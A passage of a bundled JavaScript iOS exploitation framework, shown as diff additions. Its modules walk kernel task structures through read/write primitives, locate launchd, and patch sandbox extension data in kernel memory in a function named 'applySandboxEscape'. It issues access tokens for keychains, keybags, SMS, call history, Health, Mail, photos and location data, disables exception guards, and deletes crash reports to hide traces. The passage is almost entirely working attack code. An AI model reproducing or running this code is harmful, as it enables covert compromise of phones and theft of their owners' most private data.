keys.length; ki++) { + var key = keys[ki]; + this.#PathDictionary[key] = __tokSafe(key, false); + if ((ki % 10) === 0 || ki === keys.length - 1) + __tokProg("dict " + (ki + 1) + "/" + keys.length + " last=" + key); + } + __tokProg("consume begin"); + + this.getTokenForPath("/bin/", true); + this.getTokenForPath("/Applications/", true); + this.getTokenForPath("/private/var/tmp/", true); + this.getTokenForPath("/tmp/", true); + this.getTokenForPath("/private/var/mobile/Media/", true); + this.getTokenForPath("/private/var/mobile/Containers/Data/Application/", true); + this.getTokenForPath("/var/mobile/Containers/Data/Application/", true); + this.getTokenForPath("/private/var/mobile/Containers/Shared/AppGroup/", true); + this.getTokenForPath("/private/var/containers/Bundle/Application/", true); + this.getTokenForPath("/var/containers/Bundle/Application/", true); + this.getTokenForPath("/private/var/containers/Shared/SystemGroup/", true); + this.getTokenForPath("/private/var/preferences/SystemConfiguration/preferences.plist", true); + this.getTokenForPath("/private/var/protected/trustd/private/TrustStore.sqlite3", true); + this.getTokenForPath("/private/var/protected/trustd/private/TrustStore.sqlite3-wal", true); + this.getTokenForPath("/private/var/protected/trustd/private/TrustStore.sqlite3-shm", true); + + console.log(TAG, "Create tokens for forensic paths..."); + this.getTokenForPath("/private/var/mobile/Library/SMS/", true); + this.getTokenForPath("/private/var/mobile/Library/CallHistoryDB/", true); + this.getTokenForPath("/private/var/mobile/Library/AddressBook/", true); + this.getTokenForPath("/private/var/mobile/Library/Voicemail/", true); + + this.getTokenForPath("/private/var/Keychains/", true); + this.getTokenForPath("/private/var/Keychains/keychain-2.db", true); + this.getTokenForPath("/private/var/Keychains/keychain-2.db-shm", true); + this.getTokenForPath("/private/var/Keychains/keychain-2.db-wal", true); + this.getTokenForPath("/private/var/Keychains/keychain-2.db-journal", true); + + this.getTokenForPath("/var/Keychains/", true); + this.getTokenForPath("/var/Keychains/keychain-2.db", true); + this.getTokenForPath("/var/Keychains/keychain-2.db-shm", true); + this.getTokenForPath("/var/Keychains/keychain-2.db-wal", true); + this.getTokenForPath("/var/Keychains/keychain-2.db-journal", true); + + this.getTokenForPath("/private/var/keybags/", true); + this.getTokenForPath("/private/var/keybags/systembag.kb", true); + this.getTokenForPath("/private/var/keybags/persona.kb", true); + this.getTokenForPath("/private/var/keybags/usersession.kb", true); + this.getTokenForPath("/private/var/keybags/backup/", true); + + this.getTokenForPath("/var/keybags/", true); + this.getTokenForPath("/var/keybags/systembag.kb", true); + this.getTokenForPath("/var/keybags/persona.kb", true); + this.getTokenForPath("/var/keybags/usersession.kb", true); + this.getTokenForPath("/var/keybags/backup/", true); + this.getTokenForPath("/var/keybags/backup/backup_keys_cache.sqlite", true); + + this.getTokenForPath("/private/var/Keychains/System.keybag", true); + this.getTokenForPath("/private/var/Keychains/Backup.keybag", true); + this.getTokenForPath("/private/var/Keychains/persona.kb", true); + this.getTokenForPath("/private/var/Keychains/usersession.kb", true); + this.getTokenForPath("/private/var/Keychains/device.kb", true); + this.getTokenForPath("/var/Keychains/persona.kb", true); + + this.getTokenForPath("/private/var/preferences/SystemConfiguration/com.apple.wifi.plist", true); + this.getTokenForPath("/private/var/preferences/SystemConfiguration/com.apple.wifi-private-mac-networks.plist", true); + this.getTokenForPath("/private/var/preferences/com.apple.wifi.known-networks.plist", true); + + this.getTokenForPath("/var/wireless/", true); + this.getTokenForPath("/private/var/wireless/", true); + this.getTokenForPath("/private/var/wireless/Library/", true); + this.getTokenForPath("/private/var/wireless/Library/Preferences/", true); + this.getTokenForPath("/private/var/wireless/Library/Databases/", true); + this.getTokenForPath("/private/var/wireless/Library/ControlCenter/", true); + this.getTokenForPath("/private/var/mobile/Library/CoreDuet/", true); + this.getTokenForPath("/private/var/mobile/Library/PersonalizationPortrait/", true); + this.getTokenForPath("/var/log/", true); + this.getTokenForPath("/private/var/log/", true); + this.getTokenForPath("/var/db/", true); + this.getTokenForPath("/private/var/db/", true); + this.getTokenForPath("/var/run/", true); + this.getTokenForPath("/private/var/run/", true); + this.getTokenForPath("/private/var/networkd/", true); + + this.getTokenForPath("/private/var/mobile/Library/Safari/", true); + this.getTokenForPath("/private/var/mobile/Library/Cookies/", true); + this.getTokenForPath("/private/var/mobile/Library/Caches/locationd/", true); + this.getTokenForPath("/private/var/root/Library/Caches/locationd/", true); + this.getTokenForPath("/private/var/mobile/Library/Notes/", true); + this.getTokenForPath("/private/var/mobile/Library/Calendar/", true); + this.getTokenForPath("/private/var/mobile/Media/PhotoData/", true); + this.getTokenForPath("/private/var/mobile/Media/DCIM/", true); + this.getTokenForPath("/var/mobile/Media/", true); + + this.getTokenForPath("/private/var/mobile/Library/Mobile Documents/", true); + this.getTokenForPath("/private/var/mobile/Library/Mobile Documents/com~apple~CloudDocs/", true); + this.getTokenForPath("/var/mobile/Media/PhotoData/", true); + this.getTokenForPath("/var/mobile/Media/DCIM/", true); + this.getTokenForPath("/private/var/mobile/Library/Health/", true); + this.getTokenForPath("/private/var/root/Library/Lockdown/", true); + this.getTokenForPath("/private/var/mobile/Library/Preferences/", true); + this.getTokenForPath("/private/var/mobile/Library/Accounts/", true); + this.getTokenForPath("/private/var/mobile/Library/Mail/", true); + this.getTokenForPath("/private/var/mobile/Library/FrontBoard/", true); + console.log(TAG, "Create tokens nui-full done"); + try { if (typeof p7_flog === "function") p7_flog("PEMK-B1 tok nui-full done"); } catch (_pd) {} + } + + static applyTokensForRemoteTask(remoteTask) + { + let remoteMem = remoteTask.mem(); + let keys = Object.keys(this.#PathDictionary); + for(let key of keys) + { + if(this.#PathDictionary[key]) + { + //console.log(TAG,`Applying:${this.#PathDictionary[key]}`); + remoteTask.writeStr(remoteMem,this.#PathDictionary[key]); + remoteTask.call(100,"sandbox_extension_consume",remoteMem); + //console.log(TAG,`Result of consume:${resConsume}`); + } + } + } + + static destroy() + { + if(this.#launchdTask) + this.#launchdTask.destroy(); + } + + static deleteCrashReports() + { + this.getTokenForPath("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true); + libs_JSUtils_FileUtils__WEBPACK_IMPORTED_MODULE_0__["default"].deleteDir("/private/var/containers/Shared/SystemGroup/systemgroup.com.apple.osanalytics/DiagnosticReports/",true); + } + + static adjustMemoryPressure(processName) { + const MEMORYSTATUS_CMD_SET_JETSAM_HIGH_WATER_MARK = 5; + const MEMORYSTATUS_CMD_SET_JETSAM_TASK_LIMIT = 6; + const MEMORYSTATUS_CMD_SET_PROCESS_IS_MANAGED = 16; + + let pid = _Task__WEBPACK_IMPORTED_MODULE_2__["default"].pidof(processName); + if (!pid) { + console.log(TAG, "Unable to get pid of: " + processName); + return; + } + + if (!this.#launchdTask || !this.#launchdTask.success()) + return; + + let memResult = this.#launchdTask.call(100, "memorystatus_control",MEMORYSTATUS_CMD_SET_JETSAM_HIGH_WATER_MARK,pid,-1,0,0); + console.log(TAG,`waterMark result: ${memResult}`); + memResult = this.#launchdTask.call(100, "memorystatus_control",MEMORYSTATUS_CMD_SET_PROCESS_IS_MANAGED,pid,0,0,0); + console.log(TAG,`isManaged result: ${memResult}`); + memResult = this.#launchdTask.call(100, "memorystatus_control",MEMORYSTATUS_CMD_SET_JETSAM_TASK_LIMIT,pid,0,0,0); + console.log(TAG,`taskLimit result: ${memResult}`); + } + static applySandboxEscape() { + let _CS_DARWIN_USER_TEMP_DIR = 65537n; + let write_file_path = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("calloc", 1n, 1024n); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("confstr", _CS_DARWIN_USER_TEMP_DIR, write_file_path, 1024n); + let randomHex = "/" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("arc4random")); + let randomHexPtr = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].mem; + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].writeString(randomHexPtr, randomHex); + libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("strcat", write_file_path, randomHexPtr); + + // mktmp should work + // confstrr path + // also in pe + //let procPath = "/private/var/tmp/com.apple.mediaplaybackd/Library/HTTPStorages/com.apple.mediaplaybackd/" + let appSandboxReadExt = "com.apple.app-sandbox.read-write"; + let extension = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("sandbox_extension_issue_file",appSandboxReadExt,write_file_path,0n,0n); + if (!extension) { + console.log(TAG,`Sandbox failure 1`); + return false; + } + let resConsume = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("sandbox_extension_consume",extension); + if (resConsume == -1) { + console.log(TAG,`Sandbox failure 2`); + return false; + } + let ourTaskAddr = _Task__WEBPACK_IMPORTED_MODULE_2__["default"].getTaskAddrByPID(libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("getpid")); + console.log(TAG,`ourTaskAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(ourTaskAddr)}`); + let ourProcAddr = _Task__WEBPACK_IMPORTED_MODULE_2__["default"].getTaskProc(ourTaskAddr); + console.log(TAG,`ourProcAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(ourProcAddr)}`); + let credRefAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(ourProcAddr + 0x18n); + if (credRefAddr == 0n) { + console.log(TAG,`Sandbox failure 3`); + return false; + } + credRefAddr = credRefAddr + 0x28n; + let credAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(credRefAddr); + if (credAddr == 0n) { + console.log(TAG,`Sandbox failure 4`); + return false; + } + console.log(TAG,`credRefAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(credRefAddr)}`); + let labelAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(credAddr + 0x78n); + if (labelAddr == 0n) { + console.log(TAG,`Sandbox failure 5`); + return false; + } + console.log(TAG,`labelAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(labelAddr)}`); + let sandboxAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(labelAddr + 0x8n + 1n * BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].UINT64_SIZE)); + if (sandboxAddr == 0n) { + console.log(TAG,`Sandbox failure 6`); + return false; + } + console.log(TAG,`sandboxAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(sandboxAddr)}`); + let ext_setAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(sandboxAddr + 0x10n); + if (ext_setAddr == 0n) { + console.log(TAG,`Sandbox failure 7`); + return false; + } + console.log(TAG,`ext_setAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(ext_setAddr)}`); + let ext_tableAddr = ext_setAddr + 0x0n; // koffsetof(extension_set, ext_table) = 0x0 + let hash = 0n; + console.log(TAG,`hash:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(hash)}`); + //hash = 4n; // for read + hash = 0n; // for read-write + let ext_hdrAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(ext_tableAddr + hash * BigInt(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].UINT64_SIZE)); + if (ext_hdrAddr == 0n) { + console.log(TAG,`Sandbox failure 8`); + return false; + } + /* + newHash = hashing_magic(appSandboxReadWriteExt); + LOG("ext_hdrAddr:%llx",ext_hdrAddr); + sleep(1); + mach_vm_address_t nullAddr = 0; + chain_write(ext_tableAddr + hash * sizeof(mach_vm_address_t),&nullAddr,sizeof(nullAddr)); + chain_write(ext_tableAddr + newHash * sizeof(mach_vm_address_t),&ext_hdrAddr,sizeof(ext_hdrAddr)); + */ + for (;;) { + let nextAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(ext_hdrAddr); + if(nextAddr == 0n) + break; + ext_hdrAddr = nextAddr; + } + let ext_lstAddr = ext_hdrAddr + 0x8n; // koffsetof(extension_hdr, ext_lst) == 0x8 + let extAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(ext_lstAddr); + if (extAddr == 0n) { + console.log(TAG,`Sandbox failure 9`); + return false; + } + console.log(TAG,`extAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(extAddr)}`); + let dataLength = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(extAddr + 0x48n); + let dataAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].read64(extAddr + 0x40n); + if(dataLength == 0n || dataAddr == 0n) { + console.log(TAG,`Sandbox failure 10`); + return false; + } + let pathLength = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_5__["default"].callSymbol("strlen",write_file_path) + 1; + console.log(TAG,`dataLength:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(dataLength)} pathLength:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(pathLength)}`); + + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].write8(dataAddr, 0); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_4__["default"].write64(extAddr + 0x48n,0n); + + console.log(TAG, `Finished succesfully`); + + return true; + } +} + + +/***/ }), + +/***/ "./src/libs/TaskRop/SelfTaskStruct.js": +/*!********************************************!*\ + !*** ./src/libs/TaskRop/SelfTaskStruct.js ***! + \********************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ SelfTaskStruct) +/* harmony export */ }); +class SelfTaskStruct +{ + #buffer; + #dataView; + constructor() + { + this.#buffer = new ArrayBuffer(32); + this.#dataView = new DataView(this.#buffer); + this.addr = 0x0n; + this.spaceTable = 0x0n; + this.portObject = 0x0n; + this.launchdTask = 0x0n; + } + get addr() + { + return this.#dataView.getBigUint64(0,true); + } + set addr(value) + { + this.#dataView.setBigUint64(0,value,true); + } + get spaceTable() + { + return this.#dataView.getBigUint64(8,true); + } + set spaceTable(value) + { + this.#dataView.setBigUint64(8,value,true); + } + get portObject() + { + return this.#dataView.getBigUint64(16,true); + } + set portObject(value) + { + this.#dataView.setBigUint64(16,value,true); + } + get launchdTask() + { + return this.#dataView.getBigUint64(24,true); + } + set launchdTask(value) + { + this.#dataView.setBigUint64(24,value,true); + } +} + +/***/ }), + +/***/ "./src/libs/TaskRop/Task.js": +/*!**********************************!*\ + !*** ./src/libs/TaskRop/Task.js ***! + \**********************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ Task) +/* harmony export */ }); +/* harmony import */ var _SelfTaskStruct__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ./SelfTaskStruct */ "./src/libs/TaskRop/SelfTaskStruct.js"); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); +/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); + + +const TAG = "TASK" +const TASK_EXC_GUARD_MP_CORPSE = 0x40; +const TASK_EXC_GUARD_MP_FATAL = 0x80; +const TASK_EXC_GUARD_MP_DELIVER = 0x10; + +class Task +{ + static gSelfTask; + static KALLOC_ARRAY_TYPE_SHIFT; + + static { + this.gSelfTask = new _SelfTaskStruct__WEBPACK_IMPORTED_MODULE_0__["default"](); + } + + static init(selfTaskAddr) + { + // Update KALLOC_ARRAY_TYPE_SHIFT + this.KALLOC_ARRAY_TYPE_SHIFT = BigInt((64n - libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().T1SZ_BOOT - 1n)); + + /* + * This function should be invoked as the initializer of the this Task utility. + * It setups the global var "gSelfTask" containing values used all across the task functions to lookup ports. + * It also retrieves the "launchd" task address. + */ + this.gSelfTask.addr = selfTaskAddr; + let spaceTable = this.#getSpaceTable(this.gSelfTask.addr); + this.gSelfTask.portObject = this.#getPortObject(spaceTable, 0x203n); + this.gSelfTask.launchdTask = this.#searchForLaunchdTask(); + + console.log(TAG,`Self task address: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(this.gSelfTask.addr)}`); + console.log(TAG,`Self task space table: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(spaceTable)}`); + console.log(TAG,`Self task port object: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(this.gSelfTask.portObject)}`); + console.log(TAG,`launchd task: ${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(this.gSelfTask.launchdTask)}`); + } + + static trunc_page(addr) + { + return addr & (~(libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].PAGE_SIZE - 1n)); + } + + static round_page(addr) + { + return this.trunc_page((addr) + (libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].PAGE_SIZE - 1n)); + } + + static pidof(name) + { + let currTask = this.gSelfTask.launchdTask; + while (true) + { + let procAddr = this.getTaskProc(currTask); + let command = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pComm, command, 18); + let resultName = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].readString(command,18); + if(name === resultName) + { + let pid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pid); + return pid; + } + let nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().nextTask); + if (!nextTask || nextTask == currTask) + break; + currTask = nextTask; + } + return 0; + } + + static getTaskAddrByPID(pid) + { + let currTask = this.gSelfTask.launchdTask; + + while (true) + { + let procAddr = this.getTaskProc(currTask); + let currPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pid); + if (currPid == pid) + return currTask; + let nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().nextTask); + if (!nextTask || (nextTask == currTask)) + break; + currTask = nextTask; + } + return 0; + } + + static disableExcGuardKill(taskAddr) + { + // in mach_port_guard_ast, the victim would crash if these are on. + let excGuard = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().excGuard); + //console.log(TAG,`Current excGuard:0x${Utils.hex(excGuard)}`); + excGuard &= ~(TASK_EXC_GUARD_MP_CORPSE | TASK_EXC_GUARD_MP_FATAL); + excGuard |= TASK_EXC_GUARD_MP_DELIVER; + //console.log(TAG,`ExcGuard result:0x${Utils.hex(excGuard)}`); + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].write32(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().excGuard, excGuard); + } + + static getTaskAddrByName(name) + { + let currTask = this.gSelfTask.launchdTask; + while (true) + { + let procAddr = this.getTaskProc(currTask); + let command = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].mem; + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pComm, command, 18); + let resultName = libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__["default"].readString(command,18); + //console.log(TAG, `${Utils.hex(procAddr)}: ${resultName}`); + if(name === resultName) + { + //console.log(TAG, `Found target process: ${name}`); + return currTask; + } + let nextTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().nextTask); + if (!nextTask || nextTask == currTask) + break; + currTask = nextTask; + } + return false; + } + + static getRightAddr(port) + { + let spaceTable = this.#getSpaceTable(this.gSelfTask.addr); + return this.#getPortEntry(spaceTable, port); + } + + static #getSpaceTable(taskAddr) + { + let space = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().ipcSpace); + let spaceTable = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(space + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().spaceTable); + //console.log(TAG,`space: ${Utils.hex(space)}`); + //console.log(TAG,`spaceTable: ${Utils.hex(spaceTable)}`); + spaceTable = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].strip(spaceTable); + //console.log(TAG,`spaceTable: ${Utils.hex(spaceTable)}`); + return this.#kallocArrayDecodeAddr(BigInt(spaceTable)); + } + + static #mach_port_index(port) + { + return ((port) >> 8n); + } + + static #getPortEntry(spaceTable, port) + { + let portIndex = this.#mach_port_index(port); + return spaceTable + (portIndex * 0x18n); + } + + static #getPortObject(spaceTable, port) + { + //console.log(TAG, `getPortObject(): space=${Utils.hex(spaceTable)}, port=${Utils.hex(port)}`); + let portEntry = this.#getPortEntry(spaceTable, port); + //console.log(TAG,`portEntry: ${Utils.hex(portEntry)}`); + let portObject = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(portEntry + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().entryObject); + //console.log(TAG,`portObject:${Utils.hex(portObject)}`); + return libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].strip(portObject); + } + + static getTaskProc(taskAddr) + { + let procROAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().procRO); + let procAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(procROAddr); + return procAddr; + } + + static #searchForLaunchdTask() + { + /* + * Traverse the tasks list backwards starting from the self task until we find the proc with PID 1. + */ + + let currTask = this.gSelfTask.addr; + while (true) + { + let procAddr = this.getTaskProc(currTask); + let currPid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read32(procAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().pid); + if (currPid == 1) + return currTask; + let prevTask = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(currTask + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().prevTask); + if (!prevTask || prevTask === currTask) + break; + currTask = prevTask; + } + return 0n; + } + + static #kallocArrayDecodeAddr(ptr) + { + let zone_mask = BigInt(1) << BigInt(this.KALLOC_ARRAY_TYPE_SHIFT); + if (ptr & zone_mask) + { + ptr &= ~0x1fn; + } + else + { + ptr &= ~libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].PAGE_MASK; + //console.log(TAG,`ptr:${Utils.hex(ptr)}`); + ptr |= zone_mask; + //console.log(TAG,`ptr2:${Utils.hex(ptr)}`); + } + return ptr; + } + + static getPortAddr(port) + { + if (!port) + return 0; + let spaceTable = this.#getSpaceTable(this.gSelfTask.addr); + return this.#getPortObject(spaceTable, port); + } + + static getPortKObject(port) + { + let portObject = this.getPortAddr(port); + return this.#getPortKObjectByAddr(portObject); + } + + static #getPortKObjectByAddr(portObject) + { + if (!portObject) + return 0; + let kobject = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(portObject + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().objectKObject); + return libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].strip(kobject); + } + + static firstThread(taskAddr) + { + let first = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().threads); + return first; + } + + static getMap(taskAddr) + { + let vmMap = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].read64(taskAddr + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_2__["default"].offsets().mapTask); + return vmMap; + } + + static getPortKObjectOfTask(taskAddr,port) + { + let portObject = this.getPortAddrOfTask(taskAddr, port); + return this.#getPortKObjectByAddr(portObject); + } + + static getPortAddrOfTask(taskAddr, port) + { + let spaceTable = this.#getSpaceTable(taskAddr); + return this.#getPortObject(spaceTable, port); + } +} + + +/***/ }), + +/***/ "./src/libs/TaskRop/TaskRop.js": +/*!*************************************!*\ + !*** ./src/libs/TaskRop/TaskRop.js ***! + \*************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ TaskRop) +/* harmony export */ }); +/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var _Task__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./Task */ "./src/libs/TaskRop/Task.js"); + + +const TAG = "TASKROP" + +class TaskRop +{ + static init() + { + let selfTaskAddr = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].getSelfTaskAddr(); + if (!selfTaskAddr) + { + console.log(TAG,`Unable to find self task address`); + return; + } + console.log(TAG,`selfTaskAddr:${libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__["default"].hex(selfTaskAddr)}`); + _Task__WEBPACK_IMPORTED_MODULE_2__["default"].init(selfTaskAddr); + } +} + +/***/ }), + +/***/ "./src/libs/TaskRop/Thread.js": +/*!************************************!*\ + !*** ./src/libs/TaskRop/Thread.js ***! + \************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (/* binding */ Thread) +/* harmony export */ }); +/* harmony import */ var libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! libs/Chain/Chain */ "./src/libs/Chain/Chain.js"); +/* harmony import */ var libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! libs/JSUtils/Utils */ "./src/libs/JSUtils/Utils.js"); +/* harmony import */ var _ThreadState__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./ThreadState */ "./src/libs/TaskRop/ThreadState.js"); +/* harmony import */ var libs_Chain_Native__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! libs/Chain/Native */ "./src/libs/Chain/Native.js"); + + +const AST_GUARD = 0x1000; +const TAG = "THREAD"; + +class Thread +{ + static getTro(thread) + { + let tro = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().tro); + // Ignore threads with invalid tro address. + if (!(tro & 0xf000000000000000n)) + { + //console.log(TAG,`Got invalid tro of thread:${Utils.hex(thread)} and value:${Utils.hex(tro)}`); + return 0n; + } + return tro; + } + static getCtid(thread) + { + let ctid = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read32(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().ctid); + return ctid; + } + static getTask(thread) + { + let tro = this.getTro(thread); + // Ignore threads with invalid tro address. + if (!(tro & 0xf000000000000000n) || tro === 0n) + return 0n; + let task = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(tro + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().troTask); + return task; + } + static next(thread) + { + if (libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].strip(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().taskThreads) < 0xffffffd000000000n) + return 0; + let next = libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].read64(thread + libs_Chain_Chain__WEBPACK_IMPORTED_MODULE_0__["default"].offsets().taskThreads); + if (next < 0xffffffd000000000n) + return 0; + return next; + } + static 